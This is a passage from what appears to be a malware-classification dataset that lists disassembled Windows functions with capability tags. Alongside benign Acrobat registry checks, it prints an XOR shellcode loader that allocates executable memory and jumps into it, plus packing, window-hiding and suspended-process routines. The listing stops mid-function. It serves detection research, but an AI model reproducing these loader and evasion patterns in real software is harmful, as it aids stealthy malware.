joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a5d8a
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x44
mov eax, 0x54cd3d
call fcn.004f2a0c
call fcn.004a4bae
test al, al
jne 0x4a5dac
call fcn.004a4dac
test al, al
je 0x4a5f11
call fcn.004dfcf2
test al, al
je 0x4a5f11
call fcn.004a40c3
test al, al
jne 0x4a5f0d
push 0xf
pop esi
xor ebx, ebx
mov dword [ebp - 0x2c], esi
mov edi, str.bEnableNetworkAccess
mov dword [ebp - 0x30], ebx
push edi
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x40], bl
call fcn.0044d64d
lea eax, [ebp - 0x40]
mov dword [ebp - 4], ebx
push eax
call fcn.004a4ea9
neg al
pop ecx
mov ecx, dword [ebp - 0x2c]
sbb al, al
or dword [ebp - 4], 0xffffffff
inc al
mov byte [ebp - 0x49], al
cmp ecx, 0x10
jb 0x4a5e43
lea eax, [ecx + 1]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 4], 1
cmp eax, 0x1000
jb 0x4a5e33
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.004dfcf2
mov eax, dword [ebp - 0x44]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.004dfcf2
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x49]
pop ecx
pop ecx
test al, al
jne 0x4a5f0d
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], esi
mov byte [ebp - 0x28], bl
call fcn.0044d64d
cmp dword [ebp - 0x18], 0
mov dword [ebp - 4], 2
je 0x4a5ec7
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREAdobeAcrobat_ReaderDCRestrictedSecuritySettings
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4a5ec7
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], ebx
push ecx
push ebx
lea eax, [ebp - 0x28]
mov dword [ebp - 0x50], 4
cmovae eax, dword [ebp - 0x28]
push ebx
push eax
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4a5ebe
cmp dword [ebp - 0x48], eax
setne bl
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x4a5f09
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 4], 3
cmp eax, 0x1000
jb 0x4a5f00
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.004dfcf2
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x44]
push eax
push ecx
call fcn.004dfcf2
pop ecx
pop ecx
mov al, bl
jmp 0x4a5f13
mov al, 1
jmp 0x4a5f13
xor al, al
call fcn.004f29b6
ret
Function at 0x4a5f19
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x44
mov eax, 0x54cd3d
call fcn.004f2a0c
call fcn.004dfcf2
test al, al
je 0x4a608a
call fcn.004a40c3
test al, al
jne 0x4a6086
push 0xf
pop esi
xor ebx, ebx
mov dword [ebp - 0x2c], esi
mov edi, str.bEnableDebugInterface
mov dword [ebp - 0x30], ebx
push edi
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x40], bl
call fcn.0044d64d
lea eax, [ebp - 0x40]
mov dword [ebp - 4], ebx
push eax
call fcn.004a4ea9
neg al
pop ecx
mov ecx, dword [ebp - 0x2c]
sbb al, al
or dword [ebp - 4], 0xffffffff
inc al
mov byte [ebp - 0x49], al
cmp ecx, 0x10
jb 0x4a5fbc
lea eax, [ecx + 1]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 4], 1
cmp eax, 0x1000
jb 0x4a5fac
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.004dfcf2
mov eax, dword [ebp - 0x44]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.004dfcf2
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x49]
pop ecx
pop ecx
test al, al
jne 0x4a6086
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], esi
mov byte [ebp - 0x28], bl
call fcn.0044d64d
cmp dword [ebp - 0x18], 0
mov dword [ebp - 4], 2
je 0x4a6040
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREAdobeAcrobat_ReaderDCRestrictedSecuritySettings
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4a6040
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], ebx
push ecx
push ebx
lea eax, [ebp - 0x28]
mov dword [ebp - 0x50], 4
cmovae eax, dword [ebp - 0x28]
push ebx
push eax
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4a6037
cmp dword [ebp - 0x48], eax
setne bl
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x4a6082
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 4], 3
cmp eax, 0x1000
jb 0x4a6079
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.004dfcf2
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x44]
push eax
push ecx
call fcn.004dfcf2
pop ecx
pop ecx
mov al, bl
jmp 0x4a608c
mov al, 1
jmp 0x4a608c
xor al, al
call fcn.004f29b6
ret
Function at 0x4a6092
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x28
mov eax, 0x54cc39
call fcn.004f2a0c
call fcn.004a4bae
test al, al
je 0x4a618f
call fcn.004dfcf2
test al, al
je 0x4a618f
call fcn.004a40c3
test al, al
je 0x4a60c8
mov al, 1
jmp 0x4a6191
xor ebx, ebx
mov dword [ebp - 0x14], 0xf
push str.bEnableUniAccessFromFileUrls
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
call fcn.0044d64d
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x4a6149
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREAdobeAcrobat_ReaderDCRestrictedSecuritySettings
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4a6149
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], ebx
push ecx
push ebx
lea eax, [ebp - 0x28]
mov dword [ebp - 0x34], 4
cmovae eax, dword [ebp - 0x28]
push ebx
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4a6140
cmp dword [ebp - 0x30], eax
setne bl
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x4a618b
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], 1
cmp eax, 0x1000
jb 0x4a6182
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.004dfcf2
mov eax, dword [ebp - 0x30]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x2c]
push eax
push ecx
call fcn.004dfcf2
pop ecx
pop ecx
mov al, bl
jmp 0x4a6191
xor al, al
call fcn.004f29b6
ret
Function at 0x4a6197
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x28
mov eax, 0x54cc39
call fcn.004f2a0c
call fcn.004a5755
test al, al
je 0x4a62a1
call fcn.004a4bae
test al, al
je 0x4a62a1
call fcn.004dfcf2
test al, al
je 0x4a62a1
call fcn.004a40c3
test al, al
je 0x4a61da
mov al, 1
jmp 0x4a62a3
xor ebx, ebx
mov dword [ebp - 0x14], 0xf
push str.bEnableWebGL
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
call fcn.0044d64d
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x4a625b
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREAdobeAcrobat_ReaderDCRestrictedSecuritySettings
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4a625b
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], ebx
push ecx
push ebx
lea eax, [ebp - 0x28]
mov dword [ebp - 0x34], 4
cmovae eax, dword [ebp - 0x28]
push ebx
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4a6252
cmp dword [ebp - 0x30], eax
setne bl
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x4a629d
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], 1
cmp eax, 0x1000
jb 0x4a6294
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.004dfcf2
mov eax, dword [ebp - 0x30]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x2c]
push eax
push ecx
call fcn.004dfcf2
pop ecx
pop ecx
mov al, bl
jmp 0x4a62a3
xor al, al
call fcn.004f29b6
ret
Function at 0x4a62a9
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x44
mov eax, 0x54cd3d
call fcn.004f2a0c
call fcn.004a4bae
test al, al
je 0x4a6427
call fcn.004dfcf2
test al, al
je 0x4a6427
call fcn.004a40c3
test al, al
jne 0x4a6423
push 0xf
pop esi
xor ebx, ebx
mov dword [ebp - 0x2c], esi
mov edi, str.bSetProxyContextManagerTestMode
mov dword [ebp - 0x30], ebx
push edi
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x40], bl
call fcn.0044d64d
lea eax, [ebp - 0x40]
mov dword [ebp - 4], ebx
push eax
call fcn.004a4ea9
neg al
pop ecx
mov ecx, dword [ebp - 0x2c]
sbb al, al
or dword [ebp - 4], 0xffffffff
inc al
mov byte [ebp - 0x49], al
cmp ecx, 0x10
jb 0x4a6359
lea eax, [ecx + 1]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 4], 1
cmp eax, 0x1000
jb 0x4a6349
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.004dfcf2
mov eax, dword [ebp - 0x44]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.004dfcf2
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x49]
pop ecx
pop ecx
test al, al
jne 0x4a6423
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], esi
mov byte [ebp - 0x28], bl
call fcn.0044d64d
cmp dword [ebp - 0x18], 0
mov dword [ebp - 4], 2
je 0x4a63dd
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREAdobeAcrobat_ReaderDCRestrictedSecuritySettings
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4a63dd
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], ebx
push ecx
push ebx
lea eax, [ebp - 0x28]
mov dword [ebp - 0x50], 4
cmovae eax, dword [ebp - 0x28]
push ebx
push eax
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4a63d4
cmp dword [ebp - 0x48], eax
setne bl
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x4a641f
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 4], 3
cmp eax, 0x1000
jb 0x4a6416
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.004dfcf2
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x44]
push eax
push ecx
call fcn.004dfcf2
pop ecx
pop ecx
mov al, bl
jmp 0x4a6429
mov al, 1
jmp 0x4a6429
xor al, al
call fcn.004f29b6
ret
Function at 0x4b7cc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x14]
sub esp, 0x10
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x20]
mov dword [ecx], eax
mov eax, dword [ebp + 0x18]
push edi
mov dword [esi], eax
mov ecx, dword [ecx]
cmp ecx, dword [ebp + 0x10]
je 0x4b7e1f
mov eax, ecx
mov dword [ebp - 0xc], eax
mov edx, dword [ebp + 0x1c]
xor ebx, ebx
inc ebx
mov edi, 0x3ff
mov ecx, eax
cmp dword [esi], edx
je 0x4b7e1f
mov edx, dword [ebp + 8]
movzx ecx, word [eax]
mov eax, ecx
mov byte [ebp - 1], 0
movzx edx, word [edx]
cmp bx, dx
jae 0x4b7d3f
lea eax, [ecx + 0x2400]
cmp ax, di
ja 0x4b7e2e
mov eax, edx
lea ebx, [ecx - 0xdc00]
shl eax, 0xa
or ebx, eax
mov cl, byte [ebp - 1]
cmp ebx, 0x80
jae 0x4b7d5c
mov dl, bl
xor edi, edi
jmp 0x4b7d8c
mov ebx, eax
lea eax, [ecx + 0x2800]
cmp ax, di
ja 0x4b7d2e
add ebx, 0xffff2840
mov cl, 1
shl ebx, 0xa
mov byte [ebp - 1], cl
jmp 0x4b7d31
mov edx, ebx
cmp ebx, 0x800
jae 0x4b7d71
shr edx, 6
xor edi, edi
or dl, 0xc0
inc edi
jmp 0x4b7d8c
cmp ebx, 0x10000
jae 0x4b7d83
shr edx, 0xc
or dl, 0xe0
push 2
jmp 0x4b7d8b
shr edx, 0x12
or dl, 0xf0
push 3
pop edi
movzx eax, cl
mov ecx, dword [ebp - 0xc]
xor eax, 1
add eax, eax
cmp edi, 3
cmovb eax, edi
mov dword [ebp - 0x10], eax
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x1c]
sub eax, dword [esi]
cmp eax, dword [ebp - 8]
jl 0x4b7e1f
mov eax, ecx
mov ecx, dword [ebp + 0x14]
add eax, 2
cmp byte [ebp - 1], 0
mov dword [ecx], eax
jne 0x4b7dc3
cmp edi, 3
jae 0x4b7dce
mov eax, dword [esi]
mov byte [eax], dl
inc dword [esi]
mov eax, dword [ebp - 0x10]
jmp 0x4b7dd1
mov eax, dword [ebp - 8]
test eax, eax
je 0x4b7df6
imul ecx, edi, 6
sub ecx, 6
mov edx, ebx
dec eax
shr edx, cl
mov dword [ebp - 8], eax
and dl, 0x3f
mov eax, dword [esi]
or dl, 0x80
mov byte [eax], dl
inc dword [esi]
mov eax, dword [ebp - 8]
test eax, eax
jg 0x4b7dd8
xor ecx, ecx
shr ebx, 0xa
inc ecx
movzx eax, bx
cmp byte [ebp - 1], 0
cmovne ecx, eax
mov eax, dword [ebp + 8]
mov word [eax], cx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
mov eax, ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [ebp + 0x10]
jne 0x4b7ce9
xor eax, eax
cmp dword [ebp + 0xc], ecx
sete al
pop edi
pop esi
pop ebx
leave
ret 0x1c
push 2
pop eax
jmp 0x4b7e27
Function at 0x4bab9d
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x98
mov eax, 0x54f6b8
call fcn.004f2a0c
call fcn.004dfcf2
test al, al
je 0x4badc4
xor ebx, ebx
mov esi, 0x5ce6f8
cmp byte [0x5ce6f7], bl
jne 0x4bac17
lea eax, [ebp - 0x9c]
mov byte [0x5ce6f7], 1
push eax
push str.SOFTWAREAdobeAcroPerf
push 0x80000001
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0xa0], 0x400
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0xa0]
push eax
push esi
lea eax, [ebp - 0xa4]
push eax
push ebx
push str.tOutputDir
push dword [ebp - 0x9c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp byte [0x5ce6f6], bl
lea ecx, [ebp - 0x38]
mov eax, 0x580538
mov dword [ebp - 0x28], ebx
mov edi, 0x58053c
mov dword [ebp - 0x24], 0xf
push str.AcroCEF_TimeInfo
cmove edi, eax
mov byte [ebp - 0x38], bl
call fcn.0044d64d
lea eax, [ebp - 0x38]
mov dword [ebp - 4], ebx
push eax
lea eax, [ebp - 0x98]
mov byte [ebp - 0x20], bl
push esi
push eax
call fcn.004ba95c
add esp, 0xc
mov esi, eax
push 0xa
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 1
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
call fcn.004dfcf2
push eax
lea eax, [ebp - 0x80]
push esi
push eax
call fcn.004dfcf2
push edi
push eax
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 2
push eax
call fcn.004dfcf2
push str..log
push eax
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 3
push eax
call fcn.004dfcf2
lea ecx, [ebp - 0x38]
add esp, 0x30
cmp ecx, eax
je 0x4bacbf
mov byte [ebp - 0xa0], bl
push dword [ebp - 0xa0]
push eax
call fcn.004dfcf2
lea ecx, [ebp - 0x50]
call fcn.0044d3fa
lea ecx, [ebp - 0x68]
call fcn.0044d3fa
lea ecx, [ebp - 0x80]
call fcn.0044d3fa
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], bl
call fcn.0044d3fa
cmp dword [ebp - 0x24], 0x10
lea eax, [ebp - 0x38]
push 0x58055c
cmovae eax, dword [ebp - 0x38]
push eax
call fcn.004dfcf2
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4bad70
call fcn.004baf19
mov edi, eax
mov edx, dword [edi]
mov ecx, dword [edx]
mov dword [ebp - 0x9c], ecx
cmp ecx, edx
je 0x4bad69
movsd xmm0, qword [ecx + 0x28]
add ecx, 0x10
ucomisd xmm0, qword [0x580568]
lahf
test ah, 0x44
jnp 0x4bad54
cmp dword [ecx + 0x14], 0x10
jb 0x4bad36
mov ecx, dword [ecx]
divsd xmm0, qword [0x57c6c0]
push ecx
push ecx
push ecx
movsd qword [esp], xmm0
push str._lf_t_s_n
push esi
call fcn.004dfcf2
add esp, 0x14
lea ecx, [ebp - 0x9c]
call fcn.0044c162
mov ecx, dword [ebp - 0x9c]
cmp ecx, dword [edi]
jne 0x4bad18
push esi
call fcn.00500a23
pop ecx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x24]
cmp eax, 0x10
jb 0x4badc4
mov ecx, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 4], 4
cmp eax, 0x1000
jb 0x4badbb
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.004dfcf2
mov eax, dword [ebp - 0x9c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0xa0]
push eax
push ecx
call fcn.004dfcf2
pop ecx
pop ecx
call fcn.004f29b6
ret
Function at 0x4daca0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x5ce9b4], 0x12c
push ebx
push esi
push edi
mov esi, ecx
jg 0x4dad61
lea eax, [ebp - 4]
push eax
lea eax, [esi + 0x10]
push eax
lea eax, [esi + 0x30]
push eax
call fcn.004dfcf2
add esp, 0xc
lea edi, [esi + 0xc]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x4dad30
cmp dword [ebp - 4], 0
jne 0x4dad30
cmp byte [esi + 0x48], 0
lea eax, [ebp - 4]
je 0x4dacf5
push eax
push edi
call fcn.004dfcf2
pop ecx
pop ecx
test al, al
jne 0x4dad08
jmp 0x4dad30
push 0x493e0
push eax
push edi
call fcn.00523748
add esp, 0xc
test al, al
je 0x4dad61
and dword [0x5ce9b4], 0
mov ebx, dword [esi + 0x14]
mov byte [esi + 0x48], 1
test ebx, ebx
je 0x4dad30
mov eax, dword [ebx]
push edi
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x55e434]
mov ecx, ebx
call esi
test al, al
jne 0x4dad5c
cmp dword [edi], 0xffffffff
je 0x4dad45
cmp dword [ebp - 4], 0
jne 0x4dad5c
push edi
call fcn.004dfcf2
or dword [edi], 0xffffffff
pop ecx
cmp dword [ebp - 4], 0
je 0x4dad5c
inc dword [0x5ce9b4]
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pop edi
pop esi
pop ebx
leave
ret
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]

Function at 0x4dfcf2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x4dfd01
pop dword [ebp - 0x38]
mov eax, 0x9ba9da5b
add eax, 0x64a422a6
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x89361
push 0
mov eax, 0x13e47a6e
add eax, 0xec71689a
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x75f05beb
sub ecx, 0x75f01a5b
xor esi, esi
add esi, eax
mov edx, 0x52f33847
add edx, 0xadafc7b9
add edx, dword [ebp - 0x38]
mov ebx, 0xfc32eb7c
xor dword [ebp - 0x28], ebx
mov edi, dword [edx]
mov dword [ebp - 0xc], 0x6664b620
sub edi, ebx
xor dword [ebp - 0x34], ebx
mov dword [esi], edi
sub dword [ebp - 0x30], edi
add esi, 4
add edx, 0xbf5e92f7
sub edx, 0xbf5e92f3
loop 0x4dfd5c
add eax, 0xf913
xor ebx, ebx
add ebx, eax
add eax, 0xe5919154
add eax, 0x1a6e6eb1
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x414b70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10000]
push edi
jmp 0x414b8a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414b91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414b80
mov eax, 1
add ebx, ebx
jne 0x414ba3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414b98
jne 0x414bb4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414b98
xor ecx, ecx
sub eax, 3
jb 0x414bc8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414c3a
mov ebp, eax
add ebx, ebx
jne 0x414bd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414be0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414c04
inc ecx
add ebx, ebx
jne 0x414bf0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414be5
jne 0x414c01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414be5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414c24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414c15
jmp 0x414b86
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414c24
add edi, ecx
jmp 0x414b86
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414c42
cmp byte [edi], 5
jne 0x414c42
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414c47
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414cbf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19be8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19c24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414c74
mov ecx, edi
jns 0x414ca3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19c2c]
or eax, eax
je 0x414cb9
mov dword [ebx], eax
add ebx, 4
jmp 0x414c91
call dword [esi + 0x19c28]
mov ebp, dword [esi + 0x19c30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x414cf3
sub esp, 0xffffff80
jmp 0x401150
Function at 0x401628
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40167f
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401670
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [esp + 0x10]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x40166c
cmp esi, ecx
jae 0x401670
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec edx
jne 0x40165c
cmp esi, ecx
jb 0x401674
xor eax, eax
jmp 0x40167e
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x4017b2
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x410492
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4180a0]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x38]
xor edi, edi
mov dword [esp + 0x28], edi
mov eax, dword [esp + 0x4c]
inc eax
push eax
call fcn.00402f2a
cmp dword [esp + 0x54], 0x10
lea ecx, [esp + 0x40]
cmovae ecx, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x54]
inc ecx
push ecx
push eax
mov dword [esp + 0x28], eax
call fcn.00405ae5
mov eax, dword [esp + 0x5c]
inc eax
push ebp
mov dword [esp + 0x28], eax
call fcn.00405867
add esp, 0x14
mov esi, eax
mov dword [esp + 0x1c], esi
test ebp, ebp
je 0x40185a
mov ecx, dword [esp + 0x30]
mov ebx, esi
sub ecx, esi
mov esi, dword [esp + 0x18]
xor eax, eax
cmp edi, dword [esp + 0x14]
cmove edi, eax
lea eax, [edi - 1]
cdq
idiv dword [esp + 0x14]
mov al, byte [edx + esi + 1]
inc al
xor al, byte [ecx + ebx]
inc edi
mov byte [ebx], al
inc ebx
dec ebp
jne 0x401835
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0x3c]
call fcn.00401185
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret 0x24

Function at 0x401a43
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x848
